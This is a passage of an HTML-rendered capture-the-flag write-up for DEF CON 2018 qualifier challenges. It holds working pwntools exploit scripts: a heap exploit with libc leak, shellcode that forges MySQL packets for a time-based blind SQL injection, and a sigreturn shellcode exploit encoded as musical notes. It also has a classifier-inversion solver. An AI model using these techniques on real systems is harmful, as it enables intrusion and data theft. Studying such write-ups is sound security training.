<span class="hljs-number">0x10</span>, <span class="hljs-number">0</span>,
heap+<span class="hljs-number">0x132c8</span>,
)+<span class="hljs-string">'\x10'</span>)
login(<span class="hljs-string">'O'</span>*<span class="hljs-number">0x30</span>)
cook(<span class="hljs-string">'a'</span>)
x = r.recvuntil(<span class="hljs-string">'USER MENU'</span>)
xx = re.findall(<span class="hljs-string">'BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa'</span>, x)[<span class="hljs-number">0</span>][:<span class="hljs-number">6</span>]
libc = u64(xx.ljust(<span class="hljs-number">8</span>, <span class="hljs-string">'\x00'</span>))<span class="hljs-number">-0x3c4b78</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">'libc:'</span>, hex(libc)
system = libc+<span class="hljs-number">0x45390</span>
magic = libc+<span class="hljs-number">0xf1147</span>
leave()
login(<span class="hljs-string">'D'</span>)
cook(<span class="hljs-string">'a'</span>)
<span class="hljs-comment">#raw_input("@2")</span>
please(flat(
[<span class="hljs-number">0</span>]*<span class="hljs-number">3</span>, <span class="hljs-number">0x21</span>,
heap+<span class="hljs-number">0x138f0</span>, <span class="hljs-number">0</span>,
<span class="hljs-number">0</span>, <span class="hljs-number">0x41</span>,
heap+<span class="hljs-number">0x138f0</span>+<span class="hljs-number">0x10</span>, heap+<span class="hljs-number">0x13930</span>,
magic,
))
login(<span class="hljs-string">'O'</span>*<span class="hljs-number">0x30</span>)
admire()
r.interactive()
</code></pre><h3 id="shellql"><a class="header-link" href="#shellql"></a>shellql</h3>
<ul class="list">
<li>We can upload our shellcode and it will be executed</li>
<li>They set prctl(22, 1LL); so we can only trigger <code>read</code> <code>write</code> <code>exit</code></li>
<li>We can communicate with mysql via fd 4</li>
<li>According to <a href="https://dev.mysql.com/doc/internals/en/com-query.html">this</a>, we can forge a correct mysql packet</li>
<li>However, we cannot read from mysql</li>
<li><p>Time to use time-based attack
<code>SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);</code></p>
</li>
<li><p>The exploit script:</p>
</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment"># coding: utf-8</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">import</span> hashlib
context.arch=<span class="hljs-string">'amd64'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mdd5</span><span class="hljs-params">(ss)</span>:</span>
<span class="hljs-keyword">print</span> ss
a=hashlib.md5()
a.update(ss)
<span class="hljs-keyword">return</span> a.hexdigest()
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span><span class="hljs-params">(code, timeout=<span class="hljs-number">1</span>)</span>:</span>
s = asm(code)
<span class="hljs-keyword">assert</span>( <span class="hljs-string">'\0'</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> s <span class="hljs-keyword">and</span> len(s) < <span class="hljs-number">1000</span>)
<span class="hljs-keyword">try</span>:
req = requests.post(<span class="hljs-string">'http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php'</span>, data={
<span class="hljs-string">'shell'</span>: s
}, timeout=timeout)
<span class="hljs-keyword">except</span> requests.exceptions.ReadTimeout:
<span class="hljs-keyword">print</span> (<span class="hljs-string">'Timeout'</span>)
<span class="hljs-keyword">return</span> <span class="hljs-number">1</span>
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">qqq</span><span class="hljs-params">(payload)</span>:</span>
lenn=p32(len(payload)+<span class="hljs-number">1</span>)[<span class="hljs-number">0</span>]
pp=lenn+<span class="hljs-string">'\x00\x00\x00\x03'</span>+payload
a=run(shellcraft.write(<span class="hljs-number">4</span>, pp, len(pp)) + <span class="hljs-string">'xor rax, rax;'</span> + shellcraft.read(<span class="hljs-number">4</span>, <span class="hljs-string">'esp'</span>, <span class="hljs-number">4</span>) + <span class="hljs-string">'inc rax; cmp rax, 1; jge .+0; ret'</span>, timeout=<span class="hljs-number">4</span>)
<span class="hljs-keyword">return</span> a
flag=<span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">70</span>):
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-string">"y SQL"</span>+string.printable:
<span class="hljs-keyword">if</span> qqq(<span class="hljs-string">'SELECT 1 from flag where (select substring(flag,1,'</span>+str(len(flag)+<span class="hljs-number">1</span>)+<span class="hljs-string">') from flag) = "'</span>+flag+j+<span class="hljs-string">'" and SLEEP(10);'</span>) == <span class="hljs-number">1</span>:
flag+=j
<span class="hljs-keyword">print</span> flag
<span class="hljs-keyword">break</span>
flag2=<span class="hljs-string">"OOO{"</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>,<span class="hljs-number">70</span>):
<span class="hljs-keyword">if</span> qqq(<span class="hljs-string">'SELECT 1 from flag where (select md5(substring(flag,'</span>+str(i)+<span class="hljs-string">',1)) from flag) = "'</span>+mdd5(flag[i].upper())+<span class="hljs-string">'" and SLEEP(10);'</span>) == <span class="hljs-number">1</span>:
flag2+=flag[i].upper()
<span class="hljs-keyword">else</span>:
flag2+=flag[i].lower()
<span class="hljs-keyword">print</span> flag2
<span class="hljs-comment">## flag is OOO{shellcode and webshell is old news, get with the times my friend!}</span></code></pre><h3 id="flagsifier---reverse"><a class="header-link" href="#flagsifier---reverse"></a>flagsifier - Reverse</h3>
<ul class="list">
<li>Part 1<h5 id="behavior"><a class="header-link" href="#behavior"></a>Behavior</h5>
<ul class="list">
<li>Input is composed of 38 28x28 handwritten English characters.</li>
<li>Random combination of characters will be predicted as class 3.</li>
<li>Repeat a character 38 times will be predicted as class 14~39, which is class A~Z.</li>
<li>Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters.</li>
<li>Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth.</li>
<li>Class 0 starts with a lot of <code>O</code> that isn't like a flag.</li>
<li>Class 1 is <code>OOOTHISISA.....MESSAGETOWASTEYOURTIME</code> which is a fake flag.</li>
<li>Class 2 starts with <code>OOO</code>.</li>
<li>Class 3~13 doesn't start with <code>OOO</code>.</li>
<li>We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position.</li>
<li>Code:</li>
</ul>
</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">import</span> sys
dim = int(sys.argv[<span class="hljs-number">1</span>])
flag = <span class="hljs-string">'......................................'</span>
reset = <span class="hljs-keyword">False</span> <span class="hljs-comment"># Change to False when known part is long enough</span>
<span class="hljs-comment"># flag = 'OOOOOOOOOOOOOOOOI.....................' # dim = 0</span>
<span class="hljs-comment"># flag = 'OOOOTHISISA.....MESSAGETOWASTEYOURTIME' # dim = 1</span>
flag = <span class="hljs-string">'OOO.............INTELLIGENCEISREQUIRED'</span> <span class="hljs-comment"># dim = 2</span>
<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np
<span class="hljs-keyword">from</span> PIL <span class="hljs-keyword">import</span> Image
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> tqdm, trange
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">from</span> keras.models <span class="hljs-keyword">import</span> load_model, Model
model = load_model(<span class="hljs-string">'model.h5'</span>)
model = Model(input=model.input, output=model.layers[<span class="hljs-number">-2</span>].output)
data = [np.asarray(Image.open(<span class="hljs-string">'sample_%d.png'</span> % i)).reshape(<span class="hljs-number">28</span>, <span class="hljs-number">1064</span>).astype(np.float) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>)]
data = [im <span class="hljs-keyword">for</span> d <span class="hljs-keyword">in</span> data <span class="hljs-keyword">for</span> im <span class="hljs-keyword">in</span> np.split(d, <span class="hljs-number">38</span>, axis=<span class="hljs-number">1</span>)]
char = <span class="hljs-string">''</span>.join([
<span class="hljs-string">'RUNNEISOSTRICHESOWNINGMUSSEDPURIMSCIUI'</span>,
<span class="hljs-string">'MOLDERINGIINTELSDEDICINGCOYNESSDEFIECT'</span>,
<span class="hljs-string">'AMADOFIFESINSTIIIINGGREEDIIVDISIOCATIN'</span>,
<span class="hljs-string">'HAMIETSENSITIZINGNARRATIVERECAPTURINGU'</span>,
<span class="hljs-string">'EIECTROENCEPHAIOGRAMSPALATECONDOIESPEN'</span>,
<span class="hljs-string">'SCHWINNUFAMANAGEABLECORKSSEMICIRCIESSH'</span>,
<span class="hljs-string">'BENEDICTTURGIDITYDSYCHESPHANTASMAGORIA'</span>,
<span class="hljs-string">'TRUINGAIKALOIDSQUEILRETROFITBIEARIESTW'</span>,
<span class="hljs-string">'KINGFISHERCOMMONERSUERIFIESHORNETAUSTI'</span>,
<span class="hljs-string">'LIQUORHEMSTITCHESRESPITEACORNSGOALREDI'</span>,
])
data = list(zip(data, char))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">softmax</span><span class="hljs-params">(x)</span>:</span>
<span class="hljs-string">"""Compute softmax values for each sets of scores in x."""</span>
e_x = np.exp(x - np.max(x))
<span class="hljs-keyword">return</span> e_x / e_x.sum()
<span class="hljs-keyword">for</span> z <span class="hljs-keyword">in</span> trange(<span class="hljs-number">100</span>):
<span class="hljs-keyword">if</span> reset <span class="hljs-keyword">or</span> z == <span class="hljs-number">0</span>:
img, text = zip(*random.sample(data, <span class="hljs-number">38</span>))
img = np.concatenate(img, <span class="hljs-number">1</span>).reshape(<span class="hljs-number">1</span>, <span class="hljs-number">28</span>, <span class="hljs-number">1064</span>, <span class="hljs-number">1</span>)
text = list(text)
r = model.predict([img])[<span class="hljs-number">0</span>]
score = r[dim]
bar = trange(<span class="hljs-number">1000</span>)
bar.desc = <span class="hljs-string">'%s: %.1f ( %4d )'</span> % (<span class="hljs-string">''</span>.join(text), softmax(r)[dim], score)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> bar:
cur = img.copy()
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
idx = random.randrange(<span class="hljs-number">0</span>, <span class="hljs-number">38</span>)
im, c = random.sample(data, <span class="hljs-number">1</span>)[<span class="hljs-number">0</span>]
<span class="hljs-keyword">if</span> text[idx] != flag[idx] <span class="hljs-keyword">or</span> flag[idx] == c:
<span class="hljs-keyword">break</span>
cur[<span class="hljs-number">0</span>,:, idx*<span class="hljs-number">28</span>:(idx+<span class="hljs-number">1</span>)*<span class="hljs-number">28</span>,<span class="hljs-number">0</span>] = im
r = model.predict([cur])[<span class="hljs-number">0</span>]
s = r[dim]
<span class="hljs-keyword">if</span> ( text[idx] != flag[idx] <span class="hljs-keyword">and</span> flag[idx] == c ) <span class="hljs-keyword">or</span> s > score <span class="hljs-keyword">or</span> random.random() < (<span class="hljs-number">100</span>/(i+<span class="hljs-number">100</span> + z *<span class="hljs-number">10</span>)) ** <span class="hljs-number">4</span>:
text[idx] = c
bar.desc = <span class="hljs-string">'%s: %.1f ( %4d )'</span> % (<span class="hljs-string">''</span>.join(text), softmax(r)[dim], score)
score = s
img = cur
tqdm.write(<span class="hljs-string">''</span>.join(text))
bar.close()</code></pre><ul class="list">
<li><p>Part 2</p>
<ul class="list">
<li>Use dictionary and trie to find all the possible sentences.</li>
<li>Dictionary: <a href="https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt">https://raw.githubusercontent.com/first20hours/google-10000-english/master/google-10000-english.txt</a></li>
<li>Remember to remove the useless words that length is in range 1~3.</li>
<li><p>Code:</p>
<pre class="hljs"><code> <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string"><bits/stdc++.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> f first</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> s second</span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;
<span class="hljs-comment">//typedef pair<int,int>par;</span>
<span class="hljs-keyword">typedef</span> pair<<span class="hljs-keyword">double</span>,<span class="hljs-keyword">double</span>>par;
<span class="hljs-keyword">int</span> nod[<span class="hljs-number">1000005</span>][<span class="hljs-number">26</span>],id=<span class="hljs-number">2</span>;
<span class="hljs-keyword">bool</span> ok[<span class="hljs-number">1000005</span>];
<span class="hljs-built_in">string</span> ans;
<span class="hljs-built_in">vector</span><<span class="hljs-keyword">int</span>>ve[<span class="hljs-number">38</span>];
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">F</span><span class="hljs-params">(<span class="hljs-keyword">int</span> nw,<span class="hljs-keyword">int</span> now)</span></span>{
<span class="hljs-keyword">if</span>(nw==<span class="hljs-number">38</span>){
<span class="hljs-keyword">if</span>(now==<span class="hljs-number">1</span>)<span class="hljs-built_in">cout</span><<ans<<<span class="hljs-built_in">endl</span>;
<span class="hljs-keyword">return</span> ;
}
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> x:ve[nw]){
<span class="hljs-keyword">if</span>(!nod[now][x])<span class="hljs-keyword">continue</span>;
ans.push_back(<span class="hljs-string">'A'</span>+x);
F(nw+<span class="hljs-number">1</span>,nod[now][x]);
<span class="hljs-keyword">if</span>(ok[nod[now][x]]){
ans.push_back(<span class="hljs-string">' '</span>);
F(nw+<span class="hljs-number">1</span>,<span class="hljs-number">1</span>);
ans.pop_back();
}
ans.pop_back();
}
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span>{
<span class="hljs-built_in">string</span> s;
<span class="hljs-keyword">int</span> count=<span class="hljs-number">0</span>;
<span class="hljs-keyword">while</span>(<span class="hljs-built_in">cin</span>>>s){
<span class="hljs-keyword">if</span>(s==<span class="hljs-string">"0"</span>)<span class="hljs-keyword">break</span>;
<span class="hljs-keyword">if</span>(++count><span class="hljs-number">1000</span>&&s.length()<=<span class="hljs-number">3</span>)<span class="hljs-keyword">continue</span>;
<span class="hljs-keyword">int</span> now=<span class="hljs-number">1</span>;
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">char</span> &c:s){
c|=<span class="hljs-number">32</span>;
<span class="hljs-keyword">if</span>(!nod[now][c-<span class="hljs-string">'a'</span>])
nod[now][c-<span class="hljs-string">'a'</span>]=id++;
now=nod[now][c-<span class="hljs-string">'a'</span>];
}
ok[now]=<span class="hljs-number">1</span>;
}
<span class="hljs-keyword">while</span>(<span class="hljs-built_in">cin</span>>>s){
<span class="hljs-keyword">if</span>(s==<span class="hljs-string">"0"</span>)<span class="hljs-keyword">break</span>;
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">char</span> &c:s)
c|=<span class="hljs-number">32</span>;
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i=<span class="hljs-number">0</span>;i<<span class="hljs-number">38</span>;i++)
ve[i].push_back(s[i]-<span class="hljs-string">'a'</span>);
}
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i=<span class="hljs-number">0</span>;i<<span class="hljs-number">38</span>;i++)
sort(ve[i].begin(),ve[i].end()),
ve[i].resize(unique(ve[i].begin(),ve[i].end())-ve[i].begin());
F(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>);
<span class="hljs-comment">//for(int i=0;i<38;i++)</span>
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></pre></li>
<li><p>input</p>
<pre class="hljs"><code> [The Dictionary]
<span class="hljs-number">0</span>
OOOTOYEUUTHTNTICINTELLIGENCEISREQUIRED
OOOTOYEGUTHTNTICINTELLIGENCEISREQUIRED
OOOIOYCUUTUCNTICINTELLIGENCEISREQUIRED
OOOSOYEUUCUTNTICINTELLIGENCEISREQUIRED
OOOTOYCGLCHENTICINTELLIGENCEISREQUIRED
OOOTOYCUUCUCNTUCINTELLIGENCEISREQUIRED
OOOIOYEULTUTNTICINTELLIGENCEISREQUIRED
OOOSOYCULTUCNTICINTELLIGENCEISREQUIRED
OOOTOYEAUTUTWCICINTELLIGENCEISREQUIRED
OOOSOYEOUTUTNTICINTELLIGENCEISREQUIRED
OOOSOYCGHTUENTICINTELLIGENCEISREQUIRED
OOOTOYCGLTYCNTICINTELLIGENCEISREQUIRED
OOOTOYEUUTUTNTICINTELLIGENCEISREQUIRED
OOOTOYEAUTUTNCICINTELLIGENCEISREQUIRED
OOOSOYCUUTHCNTIOINTELLIGENCEISREQUIRED
OOOSOORONTNCNTIOINTELLIGENCEISREQUIRED
OOOSOMCSHTGCWTICINTELLIGENCEISREQUIRED
OOOTOMEOGTSTNTITINTELLIGENCEISREQUIRED
OOOIOOEHUTUTNTITINTELLIGENCEISREQUIRED
OOOINOEUUTATHTICINTELLIGENCEISREQUIRED
OOOTCMCSNSATNTICINTELLIGENCEISREQUIRED
OOOTGWRSUTNCNTICINTELLIGENCEISREQUIRED
OOOSOQEAUIUCWSICINTELLIGENCEISREQUIRED
OOOTOOECHIUCNTIGINTELLIGENCEISREQUIRED
OOOTOWEGHSOTHTIEINTELLIGENCEISREQUIRED
OOOSOMEGNTOENTILINTELLIGENCEISREQUIRED
OOOSCOCGNTHTNTILINTELLIGENCEISREQUIRED
OOOSONEGNTNCNTICINTELLIGENCEISREQUIRED
OOOSCOCYNTOTUTICINTELLIGENCEISREQUIRED
OOOSDUEONCOTLTIOINTELLIGENCEISREQUIRED
OOOTDUCONTNTLTIDINTELLIGENCEISREQUIRED
OOOTCMCGNCNTNTITINTELLIGENCEISREQUIRED
OOOTQYFGNTATNTUEINTELLIGENCEISREQUIRED
OOOSDUECLTUTNTICINTELLIGENCEISREQUIRED
OOOTOWCUNTUTNTILINTELIIGENCEISREOUIRED
OOOTOMSGUTHENTICINTELLIGENCEISREOUIRED
OOOTOUTGLTOENCUCINTELLIGENCEISREQUIRED
OOOTOUEUUTNENTICINTELLIGENCEISREQUIRED
OOOTOMEGUTOENCICINTELLIGENCEISREQUIRED
OOOTONEGLTUCNTIOINTELLIGENCEISREQUIRED
OOOTOOEANTSENTICINTELLIGENCEISREQUIRED
OOOTOUEUUTUELIICINTELLIGENCEISREQUIRED
OOOTOMCAUTYENCICINTELLIGENCEISREQUIRED
OOOTOYCCNTYTWTICINTELLIGENCEISREQUIRED
OOOTOOCANCUTNTICINTELLIGENCEISREQUIRED
OOOTOMEINIHENTICINTELLIGENCEISREQUIRED
OOOTOYEUNTYTNTICINTELLIGENCEISREQUIRED
OOOTOOEUUTHCNTICINTELLIGENCEISREQUIRED
OOOTOMCULTUTNTIOINTELLIGENCEISREQUIRED
OOOTOMEYNTUENTICINTELLIGENCEISREQUIRED
OOOYOMEUMTURMIJCINTELLIGENCEISREQUIRED
OOOIDMEUMTURWYJCINTELLIGENCEISREQUIRED
OOOLDMEUMTURWYLCINTELLIGENCEISREQUIRED
<span class="hljs-number">0</span></code></pre></li>
<li>Flag: <code>OOOSOMEAUTHENTICINTELLIGENCEISREQUIRED</code></li>
</ul>
</li>
</ul>
<h3 id="note-oriented-programming"><a class="header-link" href="#note-oriented-programming"></a>Note Oriented Programming</h3>
<ul class="list">
<li>Setup the value on the stack and call sys_sigreturn</li>
<li>After that, eax = 0x3 ebx=0x0 ecx=0x6060654f edx=0x4f4f4f4f cs=0x23 ss=0x2b ds=0x2b</li>
<li>Now eip is 0x60606565 pointer to "int 0x80" to call sys_read</li>
<li>Then, write shellcode on the 0x6060654f to get shell</li>
</ul>
<pre class="hljs"><code><span class="hljs-keyword">from</span> __future__ <span class="hljs-keyword">import</span> print_function
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> struct
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-comment"># inspired by C3CTF's POW</span>
table = [<span class="hljs-string">'A'</span> , <span class="hljs-string">'A#'</span> , <span class="hljs-string">'B'</span> , <span class="hljs-string">'C'</span> , <span class="hljs-string">'C#'</span> , <span class="hljs-string">'D'</span> , <span class="hljs-string">'D#'</span> , <span class="hljs-string">'E'</span> , <span class="hljs-string">'F'</span> , <span class="hljs-string">'F#'</span> , <span class="hljs-string">'G'</span> , <span class="hljs-string">'G#'</span>]
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">val</span><span class="hljs-params">(x)</span>:</span>
a = table.index(x[:<span class="hljs-number">-1</span>])*<span class="hljs-number">1.0</span>
b = float(x[<span class="hljs-number">-1</span>])
<span class="hljs-keyword">return</span> (<span class="hljs-number">2.0</span>**(b+a/<span class="hljs-number">12.0</span>))*<span class="hljs-number">27.5</span>
cmd = [<span class="hljs-string">"F9"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0xe</span>
cmd += [<span class="hljs-string">"G9"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0x40</span>
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"G0"</span>,<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G0"</span>]
cmd += [<span class="hljs-string">"G0"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0xb</span>
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F2"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"G9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"G0"</span>,<span class="hljs-string">"G0"</span>]
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F2"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"G9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"G0"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0x17</span>
cmd += [<span class="hljs-string">"G9"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0x6</span>
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F8"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G0"</span>]
cmd += [<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"D9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G1"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G2"</span>]
cmd += [<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"D9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F8"</span>]
cmd += [<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"B9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G3"</span>]
cmd += [<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"B9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G4"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G5"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G6"</span>]
cmd += [<span class="hljs-string">"G9"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">6</span>
cmd += [<span class="hljs-string">"G0"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">8</span>
cmd += [<span class="hljs-string">"G9"</span>,<span class="hljs-string">"G0"</span>]
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F8"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G0"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G1"</span>]
cmd += [<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"D9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G2"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G3"</span>]
cmd += [<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"D9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F9"</span>,<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F2"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"F9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"A0"</span>,<span class="hljs-string">"G4"</span>]
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F9"</span>,<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F2"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"F9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F8"</span>]
cmd += [<span class="hljs-string">"G9"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">4</span>
cmd += [<span class="hljs-string">"G0"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0xb</span>
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F2"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"G9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"G0"</span>,<span class="hljs-string">"G0"</span>]
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F2"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"G9"</span>,<span class="hljs-string">"E0"</span>]
cmd += [<span class="hljs-string">"G0"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0xc</span>
cmd += [<span class="hljs-string">"F9"</span>,<span class="hljs-string">"G0"</span>]*<span class="hljs-number">0x7</span>
cmd += [<span class="hljs-string">"A2"</span>,<span class="hljs-string">"F8"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"A9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"A4"</span>,<span class="hljs-string">"B9"</span>,<span class="hljs-string">"E0"</span>,<span class="hljs-string">"G2"</span>,<span class="hljs-string">"G0"</span>]
cmd += [<span class="hljs-string">"D9"</span>,<span class="hljs-string">"G0"</span>]*(<span class="hljs-number">0x70</span><span class="hljs-number">-0x1f</span>)+[<span class="hljs-string">"D#7"</span>]*<span class="hljs-number">0x1f</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pow_hash</span><span class="hljs-params">(challenge, solution)</span>:</span>
<span class="hljs-keyword">return</span> hashlib.sha256(challenge.encode(<span class="hljs-string">'ascii'</span>) + struct.pack(<span class="hljs-string">'<Q'</span>, solution)).hexdigest()
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">check_pow</span><span class="hljs-params">(challenge, n, solution)</span>:</span>
h = pow_hash(challenge, solution)
<span class="hljs-keyword">return</span> (int(h, <span class="hljs-number">16</span>) % (<span class="hljs-number">2</span>**n)) == <span class="hljs-number">0</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">solve_pow</span><span class="hljs-params">(challenge, n)</span>:</span>
candidate = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
<span class="hljs-keyword">if</span> check_pow(challenge, n, candidate):
<span class="hljs-keyword">return</span> candidate
candidate += <span class="hljs-number">1</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
r = remote(<span class="hljs-string">"4e6b5b46.quals2018.oooverflow.io"</span>,<span class="hljs-number">31337</span>)
r.recvuntil(<span class="hljs-string">"Challenge: "</span>)
challenge = r.recvline()[:<span class="hljs-number">-1</span>]
r.recvuntil(<span class="hljs-string">"n: "</span>)
n = int(r.recvline()[:<span class="hljs-number">-1</span>])
print(<span class="hljs-string">'Solving challenge: "{}", n: {}'</span>.format(challenge, n))
solution = solve_pow(challenge, n)
print(<span class="hljs-string">'Solution: {} -> {}'</span>.format(solution, pow_hash(challenge, solution)))
r.sendlineafter(<span class="hljs-string">"Solution:"</span>,str(solution))
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> cmd:
r.send(p16(val(c)))
r.send(p16(<span class="hljs-number">0x0</span>))
